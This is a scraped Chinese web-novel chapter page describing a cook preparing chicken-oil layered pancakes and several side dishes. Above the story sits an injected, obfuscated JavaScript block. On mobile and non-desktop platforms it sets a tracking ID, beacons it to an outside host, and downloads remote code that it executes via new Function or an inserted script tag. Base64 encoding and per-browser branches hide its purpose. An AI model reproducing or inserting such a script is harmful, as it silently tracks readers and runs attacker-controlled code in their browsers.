足迹
叶皓辰好听吗
登录
关灯
护眼
字体:

第534章 鸡油筋饼(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

葛老爷子也跟着他过来了,看到他忙活,就在院子里自己练拳。笔趣阁

白叶一边和面,一边偷空看了葛老爷子两眼,眼里都是羡慕。

不得不说,这个年纪了,身体还这么硬朗,比年轻小伙子们都好,实在是让人羡慕。

他只盼着自己八十多岁的时候,也能像葛老爷子似的,能吃能吃能练功,天天都活得舒舒服服的。

白面一半开水好面,一半凉水和面,两种面再揉到一起,饧面。

不用太久,面团再反复按揉几次就会变得光滑。

将面团拉开搓长,揪成比饺子皮略大的剂子,轻轻按压到拳头大小的厚面片。

此时昨天的鸡油就有用处了。

面片上刷上一层鸡油,再摞上另一片,继续刷鸡油。如此几次重复操作,刷上五六片后,将边缘的地方按紧按实,不能漏出里面的鸡油来为准。

如此将其他的面也如法炮制,再将这些面片先在上面分开按压再逐渐擀薄,就如普通春饼大小。

最后这些饼就是上锅蒸了。

因为弄的多,所以上下蒸了三笼。

饼上了蒸笼,就是要准备配菜了。

鸡油筋饼虽然香,也只是主食,自然是要准备搭配的菜肴。

好在现成的食物就不少。

肘子昨天只切了半个,现在正好将剩下的一半切了上桌。

昨天还炖汤的母鸡也不能浪费了。

鸡肉拆丝,做了一道麻辣鸡丝。

还有昨天晚上熬煮的猪皮和高汤已经装盒,此时已经凝固了,同样切了装盘。

肉菜就算这三个,另外又切了土豆丝,胡萝卜丝,肉丝等。

做了一道尖椒土豆丝,一道胡萝卜和肉丝对半版的家庭式鱼香肉丝,另外还有一道虽然是京菜系,但是店里也经常会做的。

炒合菜。

韭菜、豆芽、肉丝、粉条、菠菜。当然最不少的就是鸡蛋。

炒的香喷喷卷饼最是好吃。

全程都是白叶做菜,高原后来过来的时候,就是帮着打下手,端菜上桌。

虽然都是小菜,但是那筋饼和菜肴的香味,可是很香的。